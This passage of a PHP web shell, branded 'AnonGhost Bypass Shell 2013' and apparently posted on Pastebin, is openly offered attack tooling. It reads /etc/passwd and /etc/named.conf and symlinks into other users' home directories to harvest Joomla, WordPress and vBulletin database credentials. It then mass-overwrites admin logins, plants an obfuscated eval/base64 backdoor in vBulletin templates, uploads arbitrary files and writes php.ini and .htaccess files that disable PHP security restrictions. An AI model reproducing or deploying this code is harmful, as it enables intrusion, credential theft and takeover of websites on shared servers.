  915. echo "<br /><br /><form method='post' action='?vw=read&save=1'><textarea cols='80' rows='15' name='file'>";
  916. flush();
  917. flush();
  918.  
  919.  
  920. $file = '/etc/named.conf';
  921.  
  922.  
  923. $w0co = @fopen($file, 'r');
  924. if ($w0co){
  925. $content = @fread($w0co, @filesize($file));
  926. echo "".htmlentities($content)."";
  927. }
  928. else if (!$w0co)
  929. {
  930. $w0co = @show_source($file) ;
  931. }
  932. else if (!$w0co)
  933. {
  934. $w0co = @highlight_file($file);
  935. }
  936. else if (!$w0co)
  937. {
  938. $sm = @symlink($file,'sym.txt');
  939.  
  940.  
  941. if ($sm){
  942. $w0co = @fopen('sim/sym.txt', 'r');
  943. $content = @fread($w0co, @filesize($file));
  944. echo "".htmlentities($content)."";
  945.  
  946. }
  947. }
  948.  
  949.  
  950.  
  951. echo "</textarea><br /><br /><input type='submit' value='Save'/> </form>";
  952.  
  953.  
  954. if(isset($_GET['save'])){
  955.  
  956.  
  957. $cont = stripcslashes($_POST['file']);
  958.  
  959. $f = fopen('named.txt','w');
  960.  
  961. $w = fwrite($f,$cont);
  962.  
  963. if($w){
  964.  
  965. echo '<br />save has been successfully';
  966.  
  967. }
  968.  
  969. fclose($f);
  970.  
  971.  
  972.  
  973.  
  974. }
  975.  
  976.  
  977.  
  978. break;
  979.  
  980.  
  981. case 'passwd':
  982.  
  983. echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Read /etc/passwd</font></b>';
  984.  
  985. if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0){
  986.  
  987.  
  988. $cont = stripcslashes($_POST['file']);
  989.  
  990. if(!file_exists('passwd.txt')){
  991.  
  992. $f = @fopen('passwd.txt','w');
  993.  
  994. $w = @fwrite($f,$cont);
  995.  
  996. fclose($f);
  997. }
  998. if($w or @filesize('passwd.txt') > 0){
  999.  
  1000. echo "<div class='tmp'><table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td></div>";
  1001. flush();
  1002.  
  1003. $fil3 = file('passwd.txt');
  1004.  
  1005. foreach ($fil3 as $f){
  1006.  
  1007. $u=explode(':', $f);
  1008. $user = $u['0'];
  1009.  
  1010.  
  1011.  
  1012. echo "
  1013. <tr>
  1014.  
  1015.  
  1016.  
  1017. <td width='15%'>
  1018. $user
  1019. </td>
  1020.  
  1021.  
  1022.  
  1023.  
  1024.  
  1025.  
  1026. <td width='10%'><div class='cone'>
  1027. <a href='sim/rut/home/$user/public_html' target='_blank'>Symlink </a></div>
  1028. </td>
  1029.  
  1030. <td width='10%'><div class='cone'>
  1031. <a href='$pageFTP/sim/rut/home/$user/public_html' target='_blank'>FTP</a></div>
  1032. </td>
  1033.  
  1034.  
  1035.  
  1036. </tr></div> ";
  1037.  
  1038.  
  1039. flush();
  1040. flush();
  1041.  
  1042.  
  1043. }
  1044.  
  1045.  
  1046.  
  1047.  
  1048.  
  1049.  
  1050. die ("</tr></div>");
  1051.  
  1052.  
  1053. }
  1054.  
  1055.  
  1056.  
  1057.  
  1058.  
  1059. }
  1060.  
  1061.  
  1062.  
  1063.  
  1064. echo "<br /><br /><form method='post' action='?vw=passwd&save=1'><textarea cols='80' rows='15' name='file'>";
  1065. flush();
  1066.  
  1067. $file = '/etc/passwd';
  1068.  
  1069.  
  1070. $w0co = @fopen($file, 'r');
  1071. if ($w0co){
  1072. $content = @fread($w0co, @filesize($file));
  1073. echo "".htmlentities($content)."";
  1074. }
  1075. elseif(!$w0co)
  1076. {
  1077. $w0co = @show_source($file) ;
  1078. }
  1079. elseif(!$w0co)
  1080. {
  1081. $w0co = @highlight_file($file);
  1082. }
  1083. elseif(!$w0co)
  1084. {
  1085.  
  1086. for($uid=0;$uid<1000;$uid++){
  1087. $ara = posix_getpwuid($uid);
  1088. if (!empty($ara)) {
  1089. while (list ($key, $val) = each($ara)){
  1090. print "$val:";
  1091. }
  1092. print "\n";
  1093. }
  1094.  
  1095. }
  1096.  
  1097. }
  1098.  
  1099.  
  1100. flush();
  1101.  
  1102.  
  1103. echo "</textarea><br /><br /><input type='submit' value='&nbsp;&nbsp;symlink&nbsp;&nbsp;'/> </form>";
  1104. flush();
  1105.  
  1106. break;
  1107.  
  1108.  
  1109.  
  1110. case 'joomla':
  1111.  
  1112.  
  1113. if(isset($_POST['s'])){
  1114.  
  1115. $file = @file_get_contents('joomla.txt');
  1116.  
  1117. $ex = explode("\n",$file);
  1118.  
  1119.  
  1120. echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>Configs </b></font></td><td> <font color='#b3b3b3'><b>Result </b></font></td></div>";
  1121. flush();
  1122.  
  1123.  
  1124. foreach ($ex as $exp){
  1125.  
  1126. $es = explode("||",$exp);
  1127.  
  1128. $config = $es[0];
  1129.  
  1130. $domin = $es[1];
  1131.  
  1132. $domins = trim($domin).'';
  1133.  
  1134. $readconfig = @file_get_contents(trim($config));
  1135.  
  1136. if(ereg('JConfig',$readconfig)){
  1137.  
  1138.  
  1139.  
  1140. $pass = ex($readconfig,'$password = \'',"';");
  1141.  
  1142. $userdb = ex($readconfig,'$user = \'',"';");
  1143.  
  1144. $db = ex($readconfig,'$db = \'',"';");
  1145.  
  1146. $fix = ex($readconfig,'$dbprefix = \'',"';");
  1147.  
  1148. $tab = $fix.'users';
  1149.  
  1150.  
  1151. $con = @mysql_connect('localhost',$userdb,$pass);
  1152.  
  1153. $db = @mysql_select_db($db,$con);
  1154.  
  1155. $query = @mysql_query("UPDATE `$tab` SET `username` ='virusa'");
  1156.  
  1157.  
  1158. $query3 = @mysql_query("UPDATE `$tab` SET `password` ='0a3329119bf465dce95057a37ec91152:TL1fIDogLJU4bHHcgQWETu8GN67fUd8'");
  1159.  
  1160.  
  1161. if ($query and $query3 ){$r = '<b style="color: #006600">Succeed </b>user [virusa] pass [worm]</b>';}else{$r = '<b style="color:red">failed</b>';}
  1162.  
  1163. $domins = trim($domin).'';
  1164.  
  1165. echo "<tr>
  1166. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  1167. <td><div class='cone'><a target='_blank' href='$config'>config</a></td><td>".$r."</td></div></tr>";
  1168. flush();
  1169.  
  1170.  
  1171.  
  1172. }else{
  1173.  
  1174. echo "<tr>
  1175. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  1176. <td><div class='cone'><a target='_blank' href='http://$exp'>config</a></div></td><td><b style='color:red'>failed</b></td></tr>";
  1177. flush();
  1178.  
  1179. }
  1180.  
  1181. }
  1182.  
  1183.  
  1184.  
  1185.  
  1186.  
  1187.  
  1188.  
  1189.  
  1190.  
  1191. die();
  1192.  
  1193. }
  1194.  
  1195. if(!is_file('named.txt')){
  1196.  
  1197. $d00m = @file("/etc/named.conf");
  1198.  
  1199. flush();
  1200.  
  1201.  
  1202. }else{
  1203.  
  1204. $d00m = file("named.txt");
  1205.  
  1206.  
  1207. }
  1208. if(!$d00m)
  1209. {
  1210.  
  1211. die ("<meta http-equiv='refresh' content='0; url=?vw=read'/>");
  1212. }
  1213. else
  1214.  
  1215. {
  1216. echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Mass Joomla</font></b><br><br><div class='tmp'>
  1217. <form method='POST' action='$pg?vw=joomla'>
  1218. <input type='submit' value='Mass change Admin' />
  1219. <input type='hidden' value='1' name='s' />
  1220. </form><br>
  1221. <table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>config </b></font></td><td> <font color='#b3b3b3'><b>Result </b></font></td>";
  1222.  
  1223. $f = fopen('joomla.txt','w');
  1224.  
  1225. foreach($d00m as $dom){
  1226.  
  1227. if(eregi("zone",$dom)){
  1228.  
  1229. preg_match_all('#zone "(.*)"#', $dom, $domvw);
  1230.  
  1231. if(strlen(trim($domvw[1][0])) > 2){
  1232.  
  1233. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
  1234.  
  1235.  
  1236. $wpl=$pageURL."/sim/rut/home/".$user['name']."/public_html/configuration.php";
  1237. $wpp=get_headers($wpl);
  1238. $wp=$wpp[0];
  1239.  
  1240. $wp2=$pageURL."/sim/rut/home/".$user['name']."/public_html/blog/configuration.php";
  1241. $wpp2=get_headers($wp2);
  1242. $wp12=$wpp2[0];
  1243.  
  1244. $wp3=$pageURL."/sim/rut/home/".$user['name']."/public_html/joomla/configuration.php";
  1245. $wpp3=get_headers($wp3);
  1246. $wp13=$wpp3[0];
  1247.  
  1248.  
  1249. $pos = strpos($wp, "200");
  1250. $config="&nbsp;";
  1251.  
  1252. if (strpos($wp, "200") == true )
  1253. {
  1254. $config= $wpl;
  1255. }
  1256. elseif (strpos($wp12, "200") == true)
  1257. {
  1258. $config= $wp2;
  1259. }
  1260. elseif (strpos($wp13, "200") == true)
  1261. {
  1262. $config= $wp3;
  1263. }
  1264. else
  1265. {
  1266. continue;
  1267.  
  1268. }
  1269. flush();
  1270.  
  1271. $dom = $domvw[1][0];
  1272.  
  1273. $w = fwrite($f,"$config||$dom \n");
  1274. if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
  1275.  
  1276.  
  1277. echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
  1278. <td><div class='cone'><a href='$config'>config</a></div></td><td>".$r."</td></tr>";
  1279.  
  1280.  
  1281.  
  1282.  
  1283.  
  1284. flush();
  1285.  
  1286.  
  1287. }
  1288. }
  1289. }
  1290. }
  1291. echo "</table></div><br><br>";
  1292.  
  1293. break;
  1294.  
  1295. case 'wp':
  1296.  
  1297. if(isset($_POST['s'])){
  1298.  
  1299. $file = @file_get_contents('wp.txt');
  1300.  
  1301. $ex = explode("\n",$file);
  1302.  
  1303. echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>Configs </b></font></td><td> <font color='#b3b3b3'><b>Result </b></font></td></div>";
  1304. flush();
  1305. flush();
  1306.  
  1307.  
  1308. foreach ($ex as $exp){
  1309.  
  1310. $es = explode("||",$exp);
  1311.  
  1312. $config = $es[0];
  1313.  
  1314. $domin = $es[1];
  1315.  
  1316. $domins = trim($domin).'';
  1317.  
  1318. $readconfig = @file_get_contents(trim($config));
  1319.  
  1320. if(ereg('wp-settings.php',$readconfig)){
  1321.  
  1322.  
  1323.  
  1324. $pass = ex($readconfig,"define('DB_PASSWORD', '","');");
  1325.  
  1326. $userdb = ex($readconfig,"define('DB_USER', '","');");
  1327.  
  1328. $db = ex($readconfig,"define('DB_NAME', '","');");
  1329.  
  1330. $fix = ex($readconfig,'$table_prefix = \'',"';");
  1331.  
  1332. $tab = $fix.'users';
  1333.  
  1334. $con = @mysql_connect('localhost',$userdb,$pass);
  1335.  
  1336. $db = @mysql_select_db($db,$con);
  1337.  
  1338. $query = @mysql_query("UPDATE `$tab` SET `user_login` ='virusa'") or die;
  1339.  
  1340. $query = @mysql_query("UPDATE `$tab` SET `user_pass` ='$1$4z/.5i..$9aHYB.fUHEmNZ.eIKYTwx/'") or die;
  1341.  
  1342.  
  1343.  
  1344. if ($query){$r = '<b style="color: #006600">Succeed </b>user [virusa] pass [1]</b>';}
  1345.  
  1346. else
  1347.  
  1348. {
  1349.  
  1350. $r = '<b style="color:red">failed</b>';
  1351.  
  1352. }
  1353.  
  1354. $domins = trim($domin).'';
  1355.  
  1356. echo "<tr>
  1357. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  1358. <td><div class='cone'><a target='_blank' href='$config'>config</a></div></td><td>".$r."</td></tr>";
  1359.  
  1360. flush();
  1361. flush();
  1362.  
  1363.  
  1364.  
  1365.  
  1366.  
  1367.  
  1368. }else{
  1369.  
  1370. echo "<tr>
  1371. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  1372. <td><div class='cone'><a target='_blank' href='http://$config'>config</a></div></td><td><b style='color:red'>failed2</b></td></tr>";
  1373.  
  1374. flush();
  1375. flush();
  1376.  
  1377. }
  1378.  
  1379. }
  1380.  
  1381.  
  1382.  
  1383.  
  1384.  
  1385.  
  1386.  
  1387.  
  1388.  
  1389.  
  1390. die();
  1391.  
  1392. }
  1393.  
  1394. if(!is_file('named.txt')){
  1395.  
  1396. $d00m = @file("/etc/named.conf");
  1397.  
  1398. }else{
  1399.  
  1400. $d00m = @file("named.txt");
  1401.  
  1402.  
  1403. }
  1404. if(!$d00m)
  1405. {
  1406.  
  1407. die ("<meta http-equiv='refresh' content='0; url=?vw=read'/>");
  1408. }
  1409. else
  1410.  
  1411. {
  1412. echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Mass WordPress</font></b><br><br><div class='tmp'>
  1413. <form method='POST' action='$pg?vw=wp'>
  1414. <input type='submit' value='Mass Change Admin' />
  1415. <input type='hidden' value='1' name='s' />
  1416. </form>
  1417. <br>
  1418. <table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>config </b></font></td><td> <font color='#b3b3b3'><b>Result </b></font></td>";
  1419.  
  1420. flush();
  1421. flush();
  1422.  
  1423. $f = fopen('wp.txt','w');
  1424.  
  1425. foreach($d00m as $dom){
  1426.  
  1427. if(eregi("zone",$dom)){
  1428.  
  1429. preg_match_all('#zone "(.*)"#', $dom, $domvw);
  1430.  
  1431. if(strlen(trim($domvw[1][0])) > 2){
  1432.  
  1433. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
  1434.  
  1435.  
  1436. $wpl=$pageURL."/sim/rut/home/".$user['name']."/public_html/wp-config.php";
  1437. $wpp=get_headers($wpl);
  1438. $wp=$wpp[0];
  1439.  
  1440. $wp2=$pageURL."/sim/rut/home/".$user['name']."/public_html/blog/wp-config.php";
  1441. $wpp2=get_headers($wp2);
  1442. $wp12=$wpp2[0];
  1443.  
  1444. $wp3=$pageURL."/sim/rut/home/".$user['name']."/public_html/wp/wp-config";
  1445. $wpp3=get_headers($wp3);
  1446. $wp13=$wpp3[0];
  1447.  
  1448.  
  1449. $pos = strpos($wp, "200");
  1450. $config="&nbsp;";
  1451.  
  1452. if (strpos($wp, "200") == true )
  1453. {
  1454. $config= $wpl;
  1455. }
  1456. elseif (strpos($wp12, "200") == true)
  1457. {
  1458. $config= $wp2;
  1459. }
  1460. elseif (strpos($wp13, "200") == true)
  1461. {
  1462. $config= $wp3;
  1463. }
  1464. else
  1465. {
  1466. continue;
  1467.  
  1468. }
  1469. flush();
  1470.  
  1471.  
  1472. $dom = $domvw[1][0];
  1473.  
  1474. $w = fwrite($f,"$config||$dom \n");
  1475. if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
  1476.  
  1477.  
  1478. echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
  1479. <td><div class='cone'><a href='$config'>config</a></div></td><td>".$r."</td></tr>";
  1480. flush();
  1481. flush();
  1482.  
  1483.  
  1484.  
  1485.  
  1486.  
  1487. flush();
  1488.  
  1489.  
  1490. }
  1491. }
  1492. }
  1493. }
  1494. echo "</table></div><br><br>";
  1495.  
  1496. break;
  1497.  
  1498.  
  1499. case 'vb':
  1500.  
  1501.  
  1502. if(isset($_POST['s'])){
  1503.  
  1504.  
  1505.  
  1506. $file = @file_get_contents('vb.txt');
  1507.  
  1508. $ex = explode("\n",$file);
  1509.  
  1510. echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b><font></td><td> <font color='#b3b3b3'><b>Configs </b><font></td><td> <font color='#b3b3b3'><b>Result </b><font></td></div>";
  1511.  
  1512.  
  1513. foreach ($ex as $exp){
  1514.  
  1515. $es = explode("||",$exp);
  1516.  
  1517. $config = $es[0];
  1518.  
  1519. $domin = $es[1];
  1520.  
  1521. $domins = trim($domin).'';
  1522.  
  1523. $readconfig = @file_get_contents(trim($config));
  1524.  
  1525. if(ereg('vBulletin',$readconfig)){
  1526.  
  1527.  
  1528.  
  1529. $db = ex($readconfig,'$config[\'Database\'][\'dbname\'] = \'',"';");
  1530.  
  1531. $userdb = ex($readconfig,'$config[\'MasterServer\'][\'username\'] = \'',"';");
  1532.  
  1533. $pass = ex($readconfig,'$config[\'MasterServer\'][\'password\'] = \'',"';");
  1534.  
  1535. $con = @mysql_connect('localhost',$userdb,$pass);
  1536.  
  1537. $db = @mysql_select_db($db,$con);
  1538.  
  1539. $shell = "bVDPS8MwFL4L/g+vYZAWdPPiaUv14kAQFKqnUUqapjSYNKFJxCn7322abgzcIfDyvl+P7/qKs04D3tS5sJ96MMJ9b+ohDw8vTWcq31PF02yJp/WqzvEaZk2rBwWUOaF7ghAo7jrdEGS0dQh4z9zecIKUl04YOrhV4N821FEEwZQgb6SmDR8QiObsdxYheuMdRKNWSH5UxtmKn3G+v0P5TIxgNTqhWWR9rYSLAXH/RaUfgY8pbVROZ4VI0aawqN5ei/cdDlRcAiFwJEIGv4HyyLTZp4tq+/zyVOxwOASXO+yUqUI6Lm/gHxiBLDic6o62UHjGuLWQJEko99T9Gg7ApeUXJFsq5EX+AR7yPw==" ;
  1540.  
  1541. $crypt = "{\${eval(gzinflate(base64_decode(\'";
  1542.  
  1543. $crypt .= "$shell";
  1544.  
  1545. $crypt .= "\')))}}{\${exit()}}</textarea>";
  1546.  
  1547. $sqlfaq = "UPDATE template SET template ='".$crypt."' WHERE title ='FAQ'" ;
  1548.  
  1549. $query = @mysql_query($sqlfaq,$con);
  1550.  
  1551.  
  1552.  
  1553. if ($query){$r = '<b style="color: #006600">Succeed</b> shell in search.php';}
  1554.  
  1555. else
  1556.  
  1557. {
  1558.  
  1559. $r = '<b style="color:red">failed</b>';
  1560.  
  1561. }
  1562.  
  1563. $domins = trim($domin).'';
  1564.  
  1565. echo "<tr>
  1566. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  1567. <td><div class='cone'><a target='_blank' href='$config'>config</a></div></td><td>".$r."</td></tr>";
  1568.  
  1569.  
  1570.  
  1571.  
  1572.  
  1573.  
  1574.  
  1575. }else{
  1576.  
  1577. echo "<tr>
  1578. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  1579. <td><div class='cone'><a target='_blank' href='http://$config'>config</a></div></td><td><b style='color:red'>failed2</b></td></tr>";
  1580. }
  1581.  
  1582. }
  1583.  
  1584.  
  1585.  
  1586.  
  1587.  
  1588.  
  1589.  
  1590.  
  1591.  
  1592.  
  1593. die();
  1594.  
  1595. }
  1596.  
  1597. if(!is_file('named.txt')){
  1598.  
  1599. $d00m = file("/etc/named.conf");
  1600.  
  1601. }else{
  1602.  
  1603. $d00m = file("named.txt");
  1604.  
  1605.  
  1606. }
  1607. if(!$d00m)
  1608. {
  1609.  
  1610. die ("<meta http-equiv='refresh' content='0; url=?vw=read'/>");
  1611. }
  1612. else
  1613.  
  1614. {
  1615. echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Mass vBulletin</font></b><br><br><div class='tmp'>
  1616. <form method='POST' action='$pg?vw=vb'>
  1617. <input type='submit' value='Inject shell' />
  1618. <input type='hidden' value='1' name='s' />
  1619. </form>
  1620. <br>
  1621. <table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>config </b></font></td><td> <font color='#b3b3b3'><b>Result </b></font></td>";
  1622.  
  1623. $f = fopen('vb.txt','w');
  1624.  
  1625. foreach($d00m as $dom){
  1626.  
  1627. if(eregi("zone",$dom)){
  1628.  
  1629. preg_match_all('#zone "(.*)"#', $dom, $domvw);
  1630.  
  1631. if(strlen(trim($domvw[1][0])) > 2){
  1632.  
  1633. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
  1634.  
  1635. ///////////////////////////////////////////////////////////////////////////////////
  1636.  
  1637. $wpl=$pageURL."/sim/rut/home/".$user['name']."/includes/config.php";
  1638. $wpp=get_headers($wpl);
  1639. $wp=$wpp[0];
  1640.  
  1641. $wp2=$pageURL."/sim/rut/home/".$user['name']."/vb/includes/config.php";
  1642. $wpp2=get_headers($wp2);
  1643. $wp12=$wpp2[0];
  1644.  
  1645. $wp3=$pageURL."/sim/rut/home/".$user['name']."/forum/includes/config.php";
  1646. $wpp3=get_headers($wp3);
  1647. $wp13=$wpp3[0];
  1648.  
  1649.  
  1650. ////////// vb ////////////
  1651.  
  1652. $pos = strpos($wp, "200");
  1653. $config="&nbsp;";
  1654.  
  1655. if (strpos($wp, "200") == true )
  1656. {
  1657. $config= $wpl;
  1658. }
  1659. elseif (strpos($wp12, "200") == true)
  1660. {
  1661. $config= $wp2;
  1662. }
  1663. elseif (strpos($wp13, "200") == true)
  1664. {
  1665. $config= $wp3;
  1666. }
  1667. else
  1668. {
  1669. continue;
  1670.  
  1671. }
  1672. flush();
  1673. $dom = $domvw[1][0];
  1674. $w = fwrite($f,"$config||$dom \n");
  1675. if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
  1676. echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
  1677. <td><div class='cone'><a href='$config'>config</a></div></td><td>".$r."</td></tr>";
  1678. flush();
  1679. }
  1680. }
  1681. }
  1682. }
  1683. echo "</table></div><br><br>";
  1684. break;
  1685. case 'aplot':
  1686. echo '
  1687. <br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Uploader</font></b><br><br><center>';
  1688. echo '<br /><br /><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  1689. echo '<input type="file" name="file" value="Choose file" size="60" > <input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  1690. if( $_POST['_upl'] == "Upload" ) {
  1691. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<br /><br /><b>upload sukses.. <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif"><br><br>'; }
  1692. else { echo '<br /><br />aseeeemmm.., ora iso upload <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif"><br><br>'; }
  1693. }
  1694. break;
  1695. case 'abot':
  1696. echo '
  1697. <br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Sekilas Info</font></b><br><br><br><br><center>
  1698. <center>
  1699. '.base64_decode("PGltZyBzcmM9Imh0dHA6Ly9pOTUyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvYWUxL3ZpcnVzYXdvcm0vYWdoX3pwczJmNGRkNjhiLmpwZyIgLz4=").'
  1700. <br><br><font color="#006600" size="1pt">Coded by </font><font color="#00aa00" size="1pt">Virusa Worm</font> <font color="#b0b000" size="1pt">-</font> <font color="#006600" size="1pt">Idea by </font><font color="#009900" size="1pt">Mauritania Attacker</font><br><br><br><br><font color="#00aa00" size="1pt">AnonGhost Bypass </font><font face="Tahoma" color="#b3b3b3" size="1pt">Shell 2013</font> <font color="#006600" size="1pt">include Several script which has recoded to make this shell.</font><br><br><font color="#006600" size="1pt">so.. try to figure it out if this shell not work in different server, and use ur brain.<br>learn to figure it out about something it\'s make be better. mbuh ngomong opo iki.. lol..<br>yen ono seng salah yo tulong dibenerke, tapi yen bener yo ojo disalahke.. kan iso sinau bareng.. wkkwk..<br><br><font color="#b0b000" size="1pt">"</font>tools not make hacker, but try to learn about tools. tried to find out why it\'s tool works. it\'s will be better than nothing.. <font color="#b0b000" size="1pt">"</font><br><br><br><font color="#006600" size="1pt">Special thankz to : </font><br><font color="#009900" size="1pt">My best Brother Mauritania Attacker<br><br><br><br><font color="#006600" size="1pt">thankz to : </font><br>
  1701. All Members AnonGhost Team - <font color="#006600" size="1pt">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color="#006600" size="1pt">[pasangan galo.. lol..]]</font><br><br><font color="#006600" size="1pt">Greetz to :</font><br><font color="#b0b000" size="1pt">AnonGhost - Mauritania HaCker Team - X-Blackerz INC - ZHC - All Muslim Hackers </font></center><br><br>
  1702. ';
  1703. break;
  1704. case 'mati':
  1705. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', '/home/rosario/www/upload/b.php')))
  1706. die('<br><br><b class="tmp"><font color="#ff0000" size="2pt">Shell has been Killed... gut bai..</font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
  1707. else
  1708. echo '<font color="#ff0000" size="2pt">unlink error!</font>';
  1709. break;
  1710. case 'metu':
  1711. unset($_SESSION['login']); echo "<meta http-equiv='refresh' content='3; url=?".$pwd."' />";
  1712. echo '<br><br><center><font color="#d0d000" size="2pt">Logout out.</font></center>';
  1713. break;
  1714. default:
  1715. header("Location: $pg");
  1716. }
  1717. }else
  1718. {
  1719. if($_POST['pateni']=='sikat'){
  1720. @error_reporting(0);
  1721. $phpini =
  1722. 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  1723. $file = fopen("php.ini","w+");
  1724. $write = fwrite ($file ,base64_decode($phpini));
  1725. fclose($file);
  1726. $htaccess =
  1727. 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  1728. $file = fopen(".htaccess","w+");
  1729. $write = fwrite ($file ,base64_decode($htaccess));
  1730. echo '<meta http-equiv="refresh" content="2; url=?'.$pwd.'" /><br><br><br><font face="Tahoma" color="#00bb00" size="3pt"><b>Bypassed !</b>';
  1731. exit;
  1732. }
  1733. echo '
  1734. <br><center><font face="Tahoma" color="#006600" size="2pt"><b>Disable Function :
  1735. <form method="POST">
  1736. <input name="pateni" type="hidden" value="sikat">';
  1737.  
  1738. if(''==($func=@ini_get('disable_functions')))
  1739. {
  1740. echo "<font color=#00aa00>No Security for Function</font>";
  1741. }else{
  1742. echo '<font color=#d0d000>[ <blink>Please Bypass First!</blink> ]</font><br>';
  1743. echo "<font color=red>$func</font>";
  1744.  
  1745. echo '<br><br><input type="submit" value="Bypass Disable Function">';
  1746. }
  1747. echo '</b></font></center><br>';
  1748. echo '<br><center>
  1749. '.base64_decode("PGltZyBzcmM9Imh0dHA6Ly9pOTUyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvYWUxL3ZpcnVzYXdvcm0vYWdoX3pwczJmNGRkNjhiLmpwZyIgLz4=").'
  1750. <br><br><font face="Tahoma" color="#006600" size="1pt">Coded by </font><font face="Tahoma" color="#00bb00" size="1pt">Virusa Worm</font> <font color="#b0b000" size="1pt">-</font> <font color="#006600" size="1pt">Idea by </font><font color="#009900" size="1pt">Mauritania Attacker</font><br><br><br><br><br><font color="#006600" size="1pt">Special thankz to : </font><br><font color="#009900" size="1pt">My best Brother Mauritania Attacker<br><br><br><br><font color="#006600" size="1pt">thankz to : </font><br>
  1751. All Members AnonGhost Team - <font color="#006600" size="1pt">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color="#006600" size="1pt">[pasangan galo.. lol..]]</font><br><br><font color="#006600" size="1pt">Greetz to :</font><br><font color="#b0b000" size="1pt">AnonGhost - Mauritania HaCker Team - X-Blackerz INC - ZHC - All Muslim Hackers</font></center>';
  1752. }
  1753. function ex($text,$a,$b){
  1754. $explode = explode($a,$text);
  1755. $explode = explode($b,$explode[1]);
  1756. return $explode[0];
  1757. }
  1758. echo '</div>
  1759. <footer id="det" style="position:fixed; left:0px; right:0px; bottom:0px; background:rgb(21,21,21); text-align:center; border-top: 1px solid #009900; border-bottom: 1px solid #009900"><font color=#009900 size=1 face="Tahoma">'.base64_decode("JmNvcHk7IEFub25HaG9zdCBCeXBhc3MgU2hlbGwgMjAxMyAtIENvZGVkIGJ5IFZpcnVzYSBXb3Jt").'</font></footer>
  1760. </body></html>';
  1761. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!